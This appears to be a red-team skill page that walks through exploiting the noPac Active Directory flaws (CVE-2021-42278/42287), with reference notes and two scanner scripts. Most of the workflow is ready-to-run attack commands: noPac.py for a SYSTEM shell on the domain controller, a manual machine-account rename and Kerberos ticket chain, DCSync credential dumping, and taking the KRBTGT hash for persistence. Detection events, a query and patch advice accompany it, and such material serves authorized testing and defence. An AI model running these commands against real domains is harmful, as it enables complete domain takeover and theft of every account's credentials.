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Exploiting noPac (CVE-2021-42278 / CVE-2021-42287)

Exploit the noPac vulnerability chain (CVE-2021-42278 sAMAccountName spoofing and CVE-2021-42287 KDC PAC confusion) to escalate from standard domain user to Domain Admin in Active Directory environments.

active-directorycve-2021-42278cve-2021-42287domain-escalationnopacprivilege-escalationred-team
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Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.

Overview

noPac is a critical exploit chain combining two Active Directory vulnerabilities: CVE-2021-42278 (sAMAccountName spoofing) and CVE-2021-42287 (KDC PAC confusion). Together, they allow any authenticated domain user to escalate to Domain Admin privileges, potentially achieving full domain compromise in under 60 seconds. CVE-2021-42278 allows an attacker to modify a machine account's sAMAccountName attribute to match a Domain Controller's name (minus the trailing $). CVE-2021-42287 exploits a flaw in the Kerberos PAC validation where the KDC, unable to find the renamed account, falls back to appending $ and issues a ticket for the Domain Controller account. Microsoft patched both vulnerabilities in November 2021 (KB5008380 and KB5008602), but many environments remain unpatched. The exploit was publicly released by cube0x0 and Ridter in December 2021.

When to Use

  • When performing authorized security testing that involves exploiting nopac cve 2021 42278 42287
  • When analyzing malware samples or attack artifacts in a controlled environment
  • When conducting red team exercises or penetration testing engagements
  • When building detection capabilities based on offensive technique understanding

Prerequisites

  • Familiarity with red teaming concepts and tools
  • Access to a test or lab environment for safe execution
  • Python 3.8+ with required dependencies installed
  • Appropriate authorization for any testing activities

Objectives

  • Scan the target domain for noPac vulnerability (CVE-2021-42278/42287)
  • Create or leverage a machine account with modified sAMAccountName
  • Exploit the KDC PAC confusion to obtain a TGT for the Domain Controller
  • Use the DC ticket to perform DCSync and dump domain credentials
  • Achieve Domain Admin access from a standard domain user account
  • Document the complete exploitation chain with evidence

MITRE ATT&CK Mapping

  • T1068 - Exploitation for Privilege Escalation
  • T1136.002 - Create Account: Domain Account
  • T1078.002 - Valid Accounts: Domain Accounts
  • T1558 - Steal or Forge Kerberos Tickets
  • T1003.006 - OS Credential Dumping: DCSync

Workflow

Phase 1: Vulnerability Scanning

  1. Check if the domain is vulnerable using the noPac scanner:
    # Using cube0x0's noPac scanner
    python3 scanner.py domain.local/user:'Password123' -dc-ip 10.10.10.1
     
    # Using CrackMapExec module
    crackmapexec smb 10.10.10.1 -u user -p 'Password123' -M nopac
  2. Verify the MachineAccountQuota (default is 10, allows any user to join computers):
    # Check MachineAccountQuota via LDAP
    python3 -c "
    import ldap3
    server = ldap3.Server('10.10.10.1')
    conn = ldap3.Connection(server, 'domain.local\\user', 'Password123', auto_bind=True)
    conn.search('DC=domain,DC=local', '(objectClass=domain)', attributes=['ms-DS-MachineAccountQuota'])
    print(conn.entries[0]['ms-DS-MachineAccountQuota'])
    "

Phase 2: Exploitation with noPac Tool

  1. Run the full noPac exploit chain:
    # Using cube0x0's noPac (gets a shell on the DC)
    python3 noPac.py domain.local/user:'Password123' -dc-ip 10.10.10.1 \
      -dc-host DC01 -shell --impersonate administrator -use-ldap
     
    # Using Ridter's noPac (alternative implementation)
    python3 noPac.py domain.local/user:'Password123' -dc-ip 10.10.10.1 \
      --impersonate administrator -dump
  2. The exploit automatically:
    • Creates a new machine account (or uses an existing one)
    • Renames the machine account's sAMAccountName to match the DC (e.g., "DC01")
    • Requests a TGT for the spoofed account name
    • Restores the original sAMAccountName
    • Uses S4U2self to obtain a service ticket impersonating the target user
    • The KDC finds no account matching "DC01" and falls back to "DC01$" (the real DC)

Phase 3: Post-Exploitation

  1. With the obtained Domain Controller ticket, perform DCSync:
    # DCSync using secretsdump.py with the Kerberos ticket
    export KRB5CCNAME=administrator.ccache
    secretsdump.py -k -no-pass domain.local/administrator@DC01.domain.local
     
    # Or directly through the noPac shell
    # The shell runs as SYSTEM on the DC
  2. Alternatively, obtain a semi-interactive shell:
    python3 noPac.py domain.local/user:'Password123' -dc-ip 10.10.10.1 \
      -dc-host DC01 -shell --impersonate administrator -use-ldap

Phase 4: Manual Exploitation Steps

  1. Create a machine account:
    addcomputer.py -computer-name 'ATTACKPC$' -computer-pass 'AttackPass123' \
      -dc-ip 10.10.10.1 domain.local/user:'Password123'
  2. Clear the SPN and rename sAMAccountName:
    # Rename machine account sAMAccountName to DC name (without $)
    renameMachine.py -current-name 'ATTACKPC$' -new-name 'DC01' \
      -dc-ip 10.10.10.1 domain.local/user:'Password123'
  3. Request a TGT for the spoofed name:
    getTGT.py -dc-ip 10.10.10.1 domain.local/'DC01':'AttackPass123'
  4. Restore the original machine name:
    renameMachine.py -current-name 'DC01' -new-name 'ATTACKPC$' \
      -dc-ip 10.10.10.1 domain.local/user:'Password123'
  5. Use S4U2self for impersonation:
    export KRB5CCNAME=DC01.ccache
    getST.py -self -impersonate 'administrator' -altservice 'cifs/DC01.domain.local' \
      -k -no-pass -dc-ip 10.10.10.1 domain.local/'ATTACKPC$'

Tools and Resources

Tool Purpose Platform
noPac (cube0x0) Automated scanner and exploiter Python
noPac (Ridter) Alternative exploit implementation Python
Impacket Kerberos ticket manipulation, DCSync Python
CrackMapExec Vulnerability scanning module Python
Rubeus Windows Kerberos ticket operations Windows (.NET)
secretsdump.py Post-exploitation credential dumping Python

CVE Details

CVE Description CVSS Patch
CVE-2021-42278 sAMAccountName spoofing (machine accounts) 7.5 KB5008102
CVE-2021-42287 KDC PAC confusion / privilege escalation 7.5 KB5008380

Detection Signatures

Indicator Detection Method
Machine account sAMAccountName change Event 4742 (computer account changed) with sAMAccountName modification
New machine account creation Event 4741 (computer object created)
TGT request for account without trailing $ Kerberos audit log analysis
S4U2self requests from non-DC machine accounts Event 4769 with unusual service ticket requests
Rapid sequence: create account, rename, request TGT SIEM correlation rule for noPac attack pattern

Validation Criteria

  • Domain scanned for noPac vulnerability
  • MachineAccountQuota verified (default 10)
  • Exploit executed successfully (shell or DCSync)
  • Domain Admin privileges obtained from standard user
  • DCSync performed to dump domain credentials
  • KRBTGT hash obtained for persistence validation
  • Attack chain documented with timestamps
  • Patch status verified (KB5008380, KB5008602)
Source materials

References and resources

Everything below is rendered for inspection. Script files are read-only and never run.

References 3

api-reference.md1.9 KB

API Reference: noPac (CVE-2021-42278/42287)

Vulnerability Overview

CVE-2021-42278 — sAMAccountName Spoofing

Allows renaming a machine account's sAMAccountName to match a DC name (without trailing $).

CVE-2021-42287 — KDC Confusion

KDC fails to verify PAC when sAMAccountName doesn't match, granting DC-level TGT.

Attack Chain

  1. Create machine account (MachineAccountQuota > 0)
  2. Rename machine sAMAccountName to DC name (e.g., DC01)
  3. Request TGT for spoofed name
  4. Rename back to original
  5. Request S4U2Self — KDC returns ticket as DC$

noPac.py (Impacket)

Scan for Vulnerability

noPac.py domain.local/user:password -dc-ip 10.10.10.1 --scan

Exploit (Get Shell)

noPac.py domain.local/user:password -dc-ip 10.10.10.1 \
    -use-ldap -shell

Dump Hashes

noPac.py domain.local/user:password -dc-ip 10.10.10.1 \
    -use-ldap -dump

Prerequisites

MachineAccountQuota

# Check quota
([ADSI]"LDAP://DC=domain,DC=local")."ms-DS-MachineAccountQuota"
# Default: 10 (any domain user can create 10 machine accounts)

LDAP Query

(&(objectClass=domain)(ms-DS-MachineAccountQuota>=1))

Detection

Event IDs

Event Log Description
4741 Security Computer account created
4742 Security Computer account changed
4743 Security Computer account deleted
4781 Security Account renamed
4768 Security TGT requested

Detection Query

SecurityEvent
| where EventID == 4781
| where TargetUserName !endswith "$"
| where TargetUserName in ("DC01", "DC02")

Patch Information

Microsoft KB

KB Description
KB5008380 November 2021 patch
KB5008602 OOB patch
KB5008207 Cumulative update

Remediation

  1. Apply KB5008380 patch
  2. Set MachineAccountQuota to 0
  3. Monitor Event 4741 and 4781 for anomalies
  4. Enable PAC validation on all DCs
standards.md1.0 KB

Standards and References - noPac CVE-2021-42278/42287

MITRE ATT&CK References

Technique ID Name Tactic
T1068 Exploitation for Privilege Escalation Privilege Escalation
T1136.002 Create Account: Domain Account Persistence
T1078.002 Valid Accounts: Domain Accounts Initial Access
T1558 Steal or Forge Kerberos Tickets Credential Access
T1003.006 OS Credential Dumping: DCSync Credential Access

CVE References

Key Research

workflows.md0.6 KB

Workflows - noPac Exploitation

Automated Exploitation Workflow

1. Scan → noPac scanner or CrackMapExec module
2. Exploit → noPac.py with --impersonate administrator
3. Access → Semi-interactive shell on DC or DCSync dump
4. Persist → Extract KRBTGT hash for Golden Ticket

Manual Exploitation Workflow

1. Create machine account (addcomputer.py)
2. Rename sAMAccountName to DC name without $ (renameMachine.py)
3. Request TGT for spoofed name (getTGT.py)
4. Restore original name (renameMachine.py)
5. S4U2self impersonation (getST.py)
6. Use ticket for DCSync (secretsdump.py -k)

Scripts 2

agent.py4.7 KB
Display-only source. This catalog never executes bundled scripts.
#!/usr/bin/env python3
"""Agent for detecting noPac (CVE-2021-42278/42287) AD privilege escalation vulnerability."""

import argparse
import json
import subprocess
import sys
from datetime import datetime, timezone


def check_nopac_impacket(domain, username, password, dc_ip):
    """Check for noPac vulnerability using Impacket noPac.py."""
    cmd = [
        "noPac.py", f"{domain}/{username}:{password}",
        "-dc-ip", dc_ip, "--scan",
    ]
    try:
        result = subprocess.check_output(
            cmd, text=True, errors="replace", timeout=30
        )
        return {
            "method": "noPac.py",
            "vulnerable": "VULNERABLE" in result.upper() or "success" in result.lower(),
            "output": result[:1000],
        }
    except (subprocess.SubprocessError, FileNotFoundError):
        return {"method": "noPac.py", "status": "tool not available"}


def check_machineaccountquota(domain, username, password, dc_ip):
    """Check the MachineAccountQuota via LDAP — needed for noPac."""
    ps_cmd = (
        "([ADSI]'LDAP://DC='+($env:USERDNSDOMAIN -replace '\\.',',DC=')).'ms-DS-MachineAccountQuota'"
    )
    try:
        result = subprocess.check_output(
            ["powershell", "-NoProfile", "-Command", ps_cmd],
            text=True, errors="replace", timeout=10
        )
        quota = int(result.strip()) if result.strip().isdigit() else -1
        return {
            "machine_account_quota": quota,
            "exploitable": quota > 0,
            "note": "Quota > 0 means any domain user can create machine accounts",
        }
    except (subprocess.SubprocessError, ValueError):
        return {"machine_account_quota": "unknown"}


def check_patch_status():
    """Check if KB5008380 (noPac patch) is installed."""
    if sys.platform != "win32":
        return {"status": "non-windows"}
    try:
        result = subprocess.check_output(
            ["wmic", "qfe", "list", "brief"],
            text=True, errors="replace", timeout=15
        )
        patched = any(kb in result for kb in ["KB5008380", "KB5008602", "KB5008207"])
        return {
            "patched": patched,
            "relevant_kbs": ["KB5008380", "KB5008602", "KB5008207"],
        }
    except subprocess.SubprocessError:
        return {"status": "check_failed"}


def enumerate_sam_name_impersonation():
    """Check for sAMAccountName impersonation conditions."""
    ps_cmd = (
        "Get-ADComputer -Filter * -Properties sAMAccountName | "
        "Where-Object {$_.sAMAccountName -notmatch '\\$$'} | "
        "Select-Object Name,sAMAccountName | ConvertTo-Json"
    )
    try:
        result = subprocess.check_output(
            ["powershell", "-NoProfile", "-Command", ps_cmd],
            text=True, errors="replace", timeout=15
        )
        data = json.loads(result) if result.strip() else []
        return data if isinstance(data, list) else [data]
    except (subprocess.SubprocessError, json.JSONDecodeError):
        return []


def main():
    parser = argparse.ArgumentParser(
        description="Detect noPac CVE-2021-42278/42287 vulnerability (authorized testing only)"
    )
    parser.add_argument("--domain", help="AD domain")
    parser.add_argument("--username", help="Domain username")
    parser.add_argument("--password", help="Domain password")
    parser.add_argument("--dc-ip", help="Domain controller IP")
    parser.add_argument("--check-patch", action="store_true")
    parser.add_argument("--output", "-o", help="Output JSON report")
    args = parser.parse_args()

    print("[*] noPac (CVE-2021-42278/42287) Detection Agent")
    print("[!] For authorized security testing only")
    report = {"timestamp": datetime.now(timezone.utc).isoformat(), "findings": {}}

    if args.domain and args.username:
        nopac = check_nopac_impacket(
            args.domain, args.username, args.password or "", args.dc_ip or ""
        )
        report["findings"]["nopac_scan"] = nopac
        print(f"[*] noPac scan: {nopac.get('vulnerable', 'unknown')}")

        quota = check_machineaccountquota(args.domain, args.username, args.password or "", args.dc_ip or "")
        report["findings"]["machine_quota"] = quota

    if args.check_patch:
        patch = check_patch_status()
        report["findings"]["patch_status"] = patch
        print(f"[*] Patched: {patch.get('patched', 'unknown')}")

    report["risk_level"] = "CRITICAL" if any(
        v.get("vulnerable") or v.get("exploitable") for v in report["findings"].values() if isinstance(v, dict)
    ) else "LOW"

    if args.output:
        with open(args.output, "w") as f:
            json.dump(report, f, indent=2)
        print(f"[*] Report saved to {args.output}")
    else:
        print(json.dumps(report, indent=2))


if __name__ == "__main__":
    main()
process.py4.9 KB
Display-only source. This catalog never executes bundled scripts.
#!/usr/bin/env python3
"""
noPac Vulnerability Scanner and Assessment Script

Checks Active Directory environments for CVE-2021-42278/42287 vulnerability
by verifying patch status and MachineAccountQuota settings.
For authorized red team engagements only.
"""

import subprocess
import sys
import json
import os
from datetime import datetime


def check_machine_account_quota(dc_ip: str, domain: str, username: str, password: str) -> dict:
    """Check MachineAccountQuota via LDAP query."""
    try:
        result = subprocess.run(
            [
                "python3", "-c",
                f"""
import ldap3
server = ldap3.Server('{dc_ip}')
conn = ldap3.Connection(server, '{domain}\\\\{username}', '{password}', auto_bind=True)
conn.search('{",".join(["DC=" + p for p in domain.split(".")])}', '(objectClass=domain)',
            attributes=['ms-DS-MachineAccountQuota'])
if conn.entries:
    print(conn.entries[0]['ms-DS-MachineAccountQuota'])
else:
    print('QUERY_FAILED')
"""
            ],
            capture_output=True, text=True, timeout=30
        )
        quota = result.stdout.strip()
        return {
            "status": "success",
            "quota": int(quota) if quota.isdigit() else -1,
            "exploitable": int(quota) > 0 if quota.isdigit() else False
        }
    except Exception as e:
        return {"status": "error", "error": str(e)}


def run_nopac_scanner(dc_ip: str, domain: str, username: str, password: str) -> dict:
    """Run noPac scanner to check vulnerability status."""
    try:
        result = subprocess.run(
            ["python3", "scanner.py", f"{domain}/{username}:{password}", "-dc-ip", dc_ip],
            capture_output=True, text=True, timeout=60
        )
        output = result.stdout + result.stderr
        vulnerable = "VULNERABLE" in output.upper() or "vulnerable" in output.lower()
        return {
            "status": "success",
            "vulnerable": vulnerable,
            "output": output.strip()[:1000]
        }
    except FileNotFoundError:
        return {"status": "error", "error": "noPac scanner not found. Clone from https://github.com/cube0x0/noPac"}
    except Exception as e:
        return {"status": "error", "error": str(e)}


def generate_assessment_report(dc_ip: str, domain: str, quota_result: dict, scan_result: dict) -> str:
    """Generate noPac vulnerability assessment report."""
    report = [
        "=" * 60,
        "noPac (CVE-2021-42278/42287) Vulnerability Assessment",
        f"Generated: {datetime.now().isoformat()}",
        "=" * 60,
        "",
        f"Target DC: {dc_ip}",
        f"Domain: {domain}",
        "",
        "[MachineAccountQuota Check]",
    ]

    if quota_result["status"] == "success":
        quota = quota_result["quota"]
        report.append(f"  MachineAccountQuota: {quota}")
        if quota > 0:
            report.append(f"  Status: EXPLOITABLE - Users can create up to {quota} machine accounts")
        elif quota == 0:
            report.append("  Status: MITIGATED - Machine account creation disabled")
        else:
            report.append("  Status: UNKNOWN - Could not determine quota")
    else:
        report.append(f"  Error: {quota_result.get('error', 'Unknown error')}")

    report.append("")
    report.append("[noPac Scanner Result]")
    if scan_result["status"] == "success":
        status = "VULNERABLE" if scan_result["vulnerable"] else "NOT VULNERABLE"
        report.append(f"  Status: {status}")
        report.append(f"  Details: {scan_result['output'][:500]}")
    else:
        report.append(f"  Error: {scan_result.get('error', 'Unknown error')}")

    report.extend([
        "",
        "[Remediation]",
        "  1. Apply KB5008380 (CVE-2021-42287 Kerberos PAC fix)",
        "  2. Apply KB5008602 (CVE-2021-42278 sAMAccountName fix)",
        "  3. Set MachineAccountQuota to 0:",
        "     Set-ADDomain -Identity domain.local -Replace @{'ms-DS-MachineAccountQuota'='0'}",
        "  4. Monitor Event 4741 (machine account creation) and 4742 (modification)",
        "",
        "=" * 60
    ])

    return "\n".join(report)


def main():
    """Main entry point."""
    if len(sys.argv) < 4:
        print("Usage: python process.py <dc_ip> <domain> <username> <password>")
        print("Example: python process.py 10.10.10.1 domain.local user Password123")
        return

    dc_ip = sys.argv[1]
    domain = sys.argv[2]
    username = sys.argv[3]
    password = sys.argv[4] if len(sys.argv) > 4 else ""

    print(f"Checking noPac vulnerability for {domain} at {dc_ip}...")
    quota_result = check_machine_account_quota(dc_ip, domain, username, password)
    scan_result = run_nopac_scanner(dc_ip, domain, username, password)

    report = generate_assessment_report(dc_ip, domain, quota_result, scan_result)
    print(report)

    report_file = f"nopac_assessment_{datetime.now().strftime('%Y%m%d_%H%M%S')}.txt"
    with open(report_file, "w") as f:
        f.write(report)
    print(f"\nReport saved to: {report_file}")


if __name__ == "__main__":
    main()

Assets 1

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